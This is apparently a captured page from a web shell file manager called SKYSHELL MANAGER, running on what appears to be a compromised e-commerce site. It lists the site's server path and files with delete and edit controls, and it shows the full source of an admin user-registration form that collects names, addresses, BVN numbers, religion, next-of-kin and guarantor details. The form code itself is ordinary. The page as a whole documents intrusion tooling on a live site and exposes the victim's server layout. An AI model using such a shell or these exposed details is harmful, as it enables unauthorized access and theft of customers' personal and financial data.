ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Current Path: home/oshofree/public_html/chbluxuries.com/chb_data/

Name	Size	Permissions	Actions
📁 ..	-	0755	🗑️
📄 config.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 error_log	4283.78 KB	0644	🗑️ ⬇️ ✏️

Editing: createuser.php

<?php include "admin_header.php"; ?>

<div class="container-fluid">

<h1 class="h3 mb-4 text-gray-800">New User Registeration</h1>

<?php include "adduser.php"; ?>
 <form method="post" enctype="multipart/form-data" >

<div class="card text-center">
  <div class="card-header">
    <ul class="nav nav-tabs card-header-tabs">
      <li class="nav-item">
        <a class="nav-link-me nav-linkk active" data-tab="tab1" href="#">BASIC <br><span>Basic account info</span></a>
      </li>
      <li class="nav-item">
        <a class="nav-link-me nav-linkk " data-tab="tab2" href="#">ACCOUNT <br><span>Extra account info</span></a>
      </li>
      <li class="nav-item">
        <a class="nav-link-me nav-linkk " data-tab="tab3" href="#">CONFIRMATION <br><span>Confirm Details and submit Data</span></a>
      </li>
    </ul>
  </div>
  
  
  <div class="card-body">
    <div id="tab1" class="tab-content">
       <p><input type="text" class="form-control" placeholder="Name" aria-describedby="basic-addon1" name="name" required></p>
       <p><input type="tel" class="form-control" placeholder="Phone Number" aria-describedby="basic-addon1" name="phone" required></p>
       <p><input type="email" class="form-control" placeholder="Email" aria-describedby="basic-addon1" name="mail"></p>
       <p><input type="text" class="form-control" placeholder="Delivery address" aria-describedby="basic-addon1" name="deliver" ></p>
       <p style="text-align:left; color:#000;"><label>Alternative Name</label><input type="text" class="form-control" placeholder="Alternative.. like userstore name" aria-describedby="basic-addon1" name="altname"></p>
       <p><textarea class="form-control" name="notes" placeholder="Additional Information goes here.."></textarea></p>
       
        <div class="container">
    <div class="col text-right">
      <a href="#" data-tab="1" data-next-tab="2" class="btn btn-click btn-primary">Next</a>
    </div>
  </div>
    </div>
    
    
    
    
    
    
    
    
    
    
    
    <div id="tab2" class="tab-content">
     <p>
     <div class="image-upload d-flex justify-content-start">
    <label for="upload-input">
    <img id="preview-image" src="img/user_img.jpeg" alt="Select Image" />
    </label>
    <input id="upload-input" type="file" name="staff_img" accept="image/*" />
    </div>
    </p>

<p><div class="input-group">
                     <div class="input-group-append">
                     <span class="input-group-text"><i class="fa fa-lock"></i></span>
                     </div>
                    <input type="password" class="form-control" placeholder="Enter Password(Required)" value="" name="password">
                    </div></p>
                    
                    
                    
       <p><input type="text" class="form-control" placeholder="Home address" aria-describedby="basic-addon1" name="home_add" ></p>
       <p><input type="text" class="form-control" placeholder="Office address" aria-describedby="basic-addon1" name="office_add" ></p>
       <p><input type="text" class="form-control" placeholder="Home Town" aria-describedby="basic-addon1" name="hometown" ></p>
       <p><input type="text" class="form-control" placeholder="Local Government" aria-describedby="basic-addon1" name="local" ></p>
       <p><label>Birthday</label><input type="date" class="form-control" placeholder="birthday" aria-describedby="basic-addon1" name="birthday"></p>
       <p><select name="sex_name"  class="form-control">
    <option value="" selected>- Sex -</option>
    <option value="male" >Male</option>
    <option value="female">Female</option>
   </select></p>
       
        <p><select name="religion"  class="form-control">
    <option value="" selected>- Choose Religion -</option>
    <option value="christian" >Christianity</option>
    <option value="muslim">Muslim</option>
    <option value="muslim">Other</option>
   </select></p>
   
   <p><input type="text" class="form-control" placeholder="Name of church/mosque" aria-describedby="basic-addon1" name="religion_name" ></p>
   <p><input type="text" class="form-control" placeholder="Name of pastor/imam" aria-describedby="basic-addon1" name="leader_name" ></p>
   <p><input type="tel" class="form-control" placeholder="Website or IG details" aria-describedby="basic-addon1" name="account_details" ></p>
   <p><input type="tel" class="form-control" placeholder="BVN" aria-describedby="basic-addon1" name="bvn" ></p>
   
    <h6>NEXT OF KIN</h6>
     <p><input type="text" class="form-control" placeholder="Name" aria-describedby="basic-addon1" name="kin_name" ></p>
     <p><input type="tel" class="form-control" placeholder="Phone Number" aria-describedby="basic-addon1" name="kin_phone" ></p>
     
      <h6>GUARANTOR 1</h6>
      
        <p><input type="text" class="form-control" placeholder="Name" aria-describedby="basic-addon1" name="gur1_name" ></p>
        <p><input type="text" class="form-control" placeholder="Address" aria-describedby="basic-addon1" name="gur1_add"></p>
        <p><input type="text" class="form-control" placeholder="Company Name" aria-describedby="basic-addon1" name="gur1_company" ></p>
        <p><input type="text" class="form-control" placeholder="Company Position" aria-describedby="basic-addon1" name="gur1_position"></p>
        <p><input type="text" class="form-control" placeholder="Relationship with customer" aria-describedby="basic-addon1" name="gur1_relation"></p>
        <p><input type="email" class="form-control" placeholder="Email" aria-describedby="basic-addon1" name="gur1_mail" ></p>
        
        
         <h6>GUARANTOR 2</h6>
      
        <p><input type="text" class="form-control" placeholder="Name" aria-describedby="basic-addon1" name="gur2_name" ></p>
        <p><input type="text" class="form-control" placeholder="Address" aria-describedby="basic-addon1" name="gur2_add"></p>
        <p><input type="text" class="form-control" placeholder="Company Name" aria-describedby="basic-addon1" name="gur2_company" ></p>
        <p><input type="text" class="form-control" placeholder="Company Position" aria-describedby="basic-addon1" name="gur2_position"></p>
        <p><input type="text" class="form-control" placeholder="Relationship with customer" aria-describedby="basic-addon1" name="gur2_relation"></p>
        <p><input type="email" class="form-control" placeholder="Email" aria-describedby="basic-addon1" name="gur2_mail" ></p>
        
         <div class="container">
  <div class="row">
    <div class="col text-left">
      <a href="#"  data-tab="2" data-next-tab="1"  style="background-color:black;" class="btn btn-click btn-primary">Previous</a>
    </div>
    <div class="col text-right">
      <a href="#"  data-tab="2" data-next-tab="3"  class="btn btn-click btn-primary">Next</a>
    </div>
  </div>
</div>

</div>

<table id="inputTable" class='table table-condensed table-striped' data-toggle='bootgrid' border="1" style="color:black; font-size:14px; text-align:left; " >
  <tr>
    <td>Name:</td>
    <td id="nameValue"></td>
  </tr>
  <tr>
    <td>Phone Number:</td>
    <td id="phoneValue"></td>
  </tr>
  
  <tr>
    <td>Email:</td>
    <td id="emailValue"></td>
  </tr>
  
  <tr>
    <td>Delivery Address:</td>
    <td id="deliverValue"></td>
  </tr>
  
  <tr>
    <td>Additional Information:</td>
    <td id="noteValue"></td>
  </tr>
  <tr>
    <td>Home Address:</td>
    <td id="homeAddValue"></td>
  </tr>
  <tr>
    <td>Office Address:</td>
    <td id="officeAddValue"></td>
  </tr>
  <tr>
    <td>Home Town:</td>
    <td id="homeTownValue"></td>
  </tr>
  <tr>
    <td>Local Government:</td>
    <td id="localGovValue"></td>
  </tr>
  <tr>
    <td>Sex:</td>
    <td id="sexValue"></td>
  </tr>
  <tr>
    <td>Religion:</td>
    <td id="religionValue"></td>
  </tr>
  <tr>
    <td>Name of Church/Mosque:</td>
    <td id="religionNameValue"></td>
  </tr>
  <tr>
    <td>Name of Pastor/Imam:</td>
    <td id="leaderNameValue"></td>
  </tr>
  <tr>
    <td>Account Details:</td>
    <td id="accountDetailsValue"></td>
  </tr>
  <tr>
    <td>BVN:</td>
    <td id="bvnValue"></td>
  </tr>
  <tr>
    <td>Next of Kin - Name:</td>
    <td id="kinNameValue"></td>
  </tr>
  <tr>
    <td>Next of Kin - Phone Number:</td>
    <td id="kinPhoneValue"></td>
  </tr>
  <tr>
    <td>Guarantor 1 - Name:</td>
    <td id="gur1NameValue"></td>
  </tr>
  <tr>
    <td>Guarantor 1 - Address:</td>
    <td id="gur1AddValue"></td>
  </tr>
  <tr>
    <td>Guarantor 1 - Company Name:</td>
    <td id="gur1CompanyValue"></td>
  </tr>
  <tr>
    <td>Guarantor 1 - Company Position:</td>
    <td id="gur1PositionValue"></td>
  </tr>
  <tr>
    <td>Guarantor 1 - Relationship with Customer:</td>
    <td id="gur1RelationValue"></td>
  </tr>
  <tr>
    <td>Guarantor 1 - Email:</td>
    <td id="gur1MailValue"></td>
  </tr>
  <tr>
    <td>Guarantor 2 - Name:</td>
    <td id="gur2NameValue"></td>
  </tr>
  <tr>
    <td>Guarantor 2 - Address:</td>
    <td id="gur2AddValue"></td>
  </tr>
  <tr>
    <td>Guarantor 2 - Company Name:</td>
    <td id="gur2CompanyValue"></td>
  </tr>
  <tr>
    <td>Guarantor 2 - Company Position:</td>
    <td id="gur2PositionValue"></td>
  </tr>
  <tr>
    <td>Guarantor 2 - Relationship with Customer:</td>
    <td id="gur2RelationValue"></td>
  </tr>
  <tr>
    <td>Guarantor 2 - Email:</td>
    <td id="gur2MailValue"></td>
  </tr>
</table>

<div class="container"> 
  <div class="row">
    <div class="col text-left">
      <a href="#"  data-tab="3" data-next-tab="2"  style="background-color:black;" class="btn btn-click btn-primary">Previous</a>
    </div>
    <div class="col text-right">
      <button type="submit" name="submit" class="btn btn-primary">Confirm and Submit Details</button>
    </div>
   </div></div>
    </div>
   </form> 
    
    
    
    
    
 
  </div>
</div>

// Listen for file input change event
  fileInput.addEventListener('change', function(event) {
    const file = event.target.files[0]; // Get the selected file

// Check if a file is selected
    if (file) {
      // Create a FileReader instance
      const reader = new FileReader();

// Set the image source when FileReader has finished reading the file
      reader.onload = function() {
        previewImage.src = reader.result;
      };

// Read the selected file as Data URL
      reader.readAsDataURL(file);
    } else {
      // If no file is selected, reset the image source
      previewImage.src = '#';
    }
  });
  
  
$(document).ready(function() {
  // Hide all tab contents except the active one
  $('.tab-content').not(':first').hide();

// Handle tab click event
  $('.nav-link-me').click(function(e) {
    e.preventDefault();
    var targetTab = $(this).data('tab');
    
    // Remove active class from all tabs
    $('.nav-link-me').removeClass('active');
    
    // Add active class to the clicked tab
    $(this).addClass('active');
    
    // Hide all tab contents
    $('.tab-content').hide();
    
    // Show the selected tab content
    $('#' + targetTab).show();
  });
});

$(document).ready(function() {
  // Handle "Next" button click event
  $('.btn-click').click(function() {
    var currentTab = $(this).data('tab');
    var nextTab = $(this).data('next-tab');
    
   // Remove active class from all tabs
    $('.nav-link-me').removeClass('active');
    
  // Add the active class to the nav-link-me element with matching data-tab attribute
  $('.nav-link-me[data-tab="tab' + nextTab + '"]').addClass('active');
    
    // Show next tab content and hide current tab content
    $('#tab' + currentTab).hide();
    $('#tab' + nextTab).show();
  });
});

$(document).ready(function() {
  $('input[name="name"]').on('input', function() {
    var nameValue = $(this).val();
    $('#nameValue').text(nameValue);
  });

$('input[name="phone"]').on('input', function() {
    var phoneValue = $(this).val();
    $('#phoneValue').text(phoneValue);
  });
  
   $('input[name="deliver"]').on('input', function() {
    var deliverValue = $(this).val();
    $('#deliverValue').text(deliverValue);
  });
  
  $('textarea[name="notes"]').on('input', function() {
    var noteValue = $(this).val();
    $('#noteValue').text(noteValue);
});

$('input[name="home_add"]').on('input', function() {
    var homeAddValue = $(this).val();
    $('#homeAddValue').text(homeAddValue);
  });

$('input[name="office_add"]').on('input', function() {
    var officeAddValue = $(this).val();
    $('#officeAddValue').text(officeAddValue);
  });

$('input[name="hometown"]').on('input', function() {
    var homeTownValue = $(this).val();
    $('#homeTownValue').text(homeTownValue);
  });

$('input[name="local"]').on('input', function() {
    var localGovValue = $(this).val();
    $('#localGovValue').text(localGovValue);
  });

$('input[name="mail"]').on('input', function() {
    var emailValue = $(this).val();
    $('#emailValue').text(emailValue);
  });

$('select[name="sex_name"]').on('change', function() {
    var sexValue = $(this).val();
    $('#sexValue').text(sexValue);
  });

$('select[name="religion"]').on('change', function() {
    var religionValue = $(this).val();
    $('#religionValue').text(religionValue);
  });

$('input[name="religion_name"]').on('input', function() {
    var religionNameValue = $(this).val();
    $('#religionNameValue').text(religionNameValue);
  });

$('input[name="leader_name"]').on('input', function() {
    var leaderNameValue = $(this).val();
    $('#leaderNameValue').text(leaderNameValue);
  });

$('input[name="account_details"]').on('input', function() {
    var accountDetailsValue = $(this).val();
    $('#accountDetailsValue').text(accountDetailsValue);
  });

$('input[name="bvn"]').on('input', function() {
    var bvnValue = $(this).val();
    $('#bvnValue').text(bvnValue);
  });

$('input[name="kin_name"]').on('input', function() {
    var kinNameValue = $(this).val();
    $('#kinNameValue').text(kinNameValue);
  });

$('input[name="kin_phone"]').on('input', function() {
    var kinPhoneValue = $(this).val();
    $('#kinPhoneValue').text(kinPhoneValue);
  });

$('input[name="gur1_name"]').on('input', function() {
    var gur1NameValue = $(this).val();
    $('#gur1NameValue').text(gur1NameValue);
  });

$('input[name="gur1_add"]').on('input', function() {
    var gur1AddValue = $(this).val();
    $('#gur1AddValue').text(gur1AddValue);
  });

$('input[name="gur1_company"]').on('input', function() {
    var gur1CompanyValue = $(this).val();
    $('#gur1CompanyValue').text(gur1CompanyValue);
  });

$('input[name="gur1_position"]').on('input', function() {
    var gur1PositionValue = $(this).val();
    $('#gur1PositionValue').text(gur1PositionValue);
  });

$('input[name="gur1_relation"]').on('input', function() {
    var gur1RelationValue = $(this).val();
    $('#gur1RelationValue').text(gur1RelationValue);
  });

$('input[name="gur1_mail"]').on('input', function() {
    var gur1MailValue = $(this).val();
    $('#gur1MailValue').text(gur1MailValue);
  });

$('input[name="gur2_name"]').on('input', function() {
    var gur2NameValue = $(this).val();
    $('#gur2NameValue').text(gur2NameValue);
  });

$('input[name="gur2_add"]').on('input', function() {
    var gur2AddValue = $(this).val();
    $('#gur2AddValue').text(gur2AddValue);
  });

$('input[name="gur2_company"]').on('input', function() {
    var gur2CompanyValue = $(this).val();
    $('#gur2CompanyValue').text(gur2CompanyValue);
  });

$('input[name="gur2_position"]').on('input', function() {
    var gur2PositionValue = $(this).val();
    $('#gur2PositionValue').text(gur2PositionValue);
  });

$('input[name="gur2_relation"]').on('input', function() {
    var gur2RelationValue = $(this).val();
    $('#gur2RelationValue').text(gur2RelationValue);
  });

$('input[name="gur2_mail"]').on('input', function() {
    var gur2MailValue = $(this).val();
    $('#gur2MailValue').text(gur2MailValue);
  });
});

</script>

.nav-tabs .nav-link-me {
    margin-bottom: -1px;
    border: 1px solid transparent;
    border-top-left-radius: 0.35rem;
    border-top-right-radius: 0.35rem;
}

.nav-link-me {
    display: block;
    padding: 0.5rem 1rem;
}

a:hover {
    color:#FF339A;
    text-decoration: none;
}

.image-upload {
  position: relative;
  width: 150px;
  height: 150px;
  border-radius: 50%;
  overflow: hidden;
  cursor: pointer;
  border: 2px solid #eee;
}

.image-upload img {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  max-width: 100%;
  max-height: 100%;
}

#preview-image {
  width: 100%;
  height: 100%;
  object-fit: cover;
  
}

#upload-input {
  display: none;
}

</style>

</div>
            
           <?php include "footer.php"; ?>

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Editing: createuser.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33